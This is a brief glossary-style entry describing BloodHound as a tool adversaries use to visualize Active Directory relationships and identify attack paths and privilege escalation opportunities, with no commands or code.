BloodHound


BloodHound is a powerful tool used by adversaries to visualize and analyze Active Directory relationships, allowing them to quickly identify and exploit potential attack paths and privilege escalation opportunities within a network. It automates the reconnaissance phase of an attack, helping attackers pinpoint weak points and ultimately compromise Active Directory environments.
